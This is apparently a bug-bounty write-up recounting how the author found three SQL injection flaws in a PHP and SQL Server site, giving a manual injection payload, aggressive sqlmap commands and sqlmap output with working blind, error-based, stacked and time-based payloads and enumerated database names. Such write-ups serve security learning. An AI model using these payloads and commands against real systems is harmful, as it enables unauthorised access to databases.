5 min to read
How i Got 3 SQL injection in just 10 minutes
How i Got 3 SQL injection in just 10 minutes
                
                
                
                Hello friends, in this writeup i will tell you how i found a 3 easy sqli in a priv program, let’s say the program domain is
example.com.
after enumerating the subdomains i’ve found a delicious one which have a login page and this subdoamin working with PHP 7 and windows server, let’s take a look.

- you can know what is the technology which the website use by wappalyzer.
 
as we know this website using
PHPso let’s inject a single qute in a username field.
it’s sqlmap time, i see this is basic error based sqli so let’s try with
sqlmap.
Put a
'in any field of the login page and intercept the request with burpsuite, and save the request in a file like this.
i did it manualy with this payload
admin'SELECT+1,@@VERSION,3--and its gave me the version but i want to play with sqlmap.
sqlmap -r req.txt --batch --dbms=mssql --level 5 --risk 3 --dbs

- nice!, we got first sql injection, lets dig more.
 
when doing some recon i’ve found another endpoint called
getimage.php, you can find it withffuf,dirbuster,dirb. and in this endpoint their is a Parameter calledidand this paramtere injectable!.
browse the
getimageendpoint and send the request to repeater, and useParam Minerextension.



okay now we have
idparameter, let’s use sqlmap on this paramter.
sqlmap -u https://sub.ex.net/getimage.php\?id\=1 --batch --dbms=mssql --level 5 --risk 3 --dbs


- nice!, we got the seconed one.
 
cool, as the seconed step, i do the same thing and i’ve found andother endpoint called
downloads.phpand this endpoint has a parameter calleddir.


sqlmap -u https://sub.ex.net/downloads.php\?dir\=a --batch --dbms=mssql --level 5 --risk 3 --dbs
Parameter: dir (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: id=1 AND 3913=(SELECT (CASE WHEN (3913=3913) THEN 3913 ELSE (SELECT 1391 UNION SELECT 8467) END))-- bPfy
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
    Payload: id=1 AND 7962 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (7962=7962) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(122)+CHAR(112)+CHAR(113)))
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: id=1;WAITFOR DELAY '0:0:5'--
    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF)
    Payload: id=1 WAITFOR DELAY '0:0:5'
---
[15:49:30] [INFO] testing Microsoft SQL Server
[15:49:30] [INFO] confirming Microsoft SQL Server
[15:49:30] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2016 or 2019 or 10
web application technology: PHP 7.4.14, Microsoft IIS 10.0
back-end DBMS: Microsoft SQL Server 2019
[15:49:30] [INFO] fetching database names
[15:49:30] [INFO] resumed: 'DBAUtils'
[15:49:30] [INFO] resumed: 'master'
[15:49:30] [INFO] resumed: 'model'
[15:49:30] [INFO] resumed: 'msdb'
[15:49:30] [INFO] resumed: 'xxxxx'
[15:49:30] [INFO] resumed: 'tempdb'
available databases [6]:
[*] DBAUtils
[*] master
[*] model
[*] msdb
[*] xxxxx
[*] tempdb
- 
    
nice!, we got the third one.
 - 
    
Thanks for reading.
 - 
    
cheers!.
 

            
        
Comments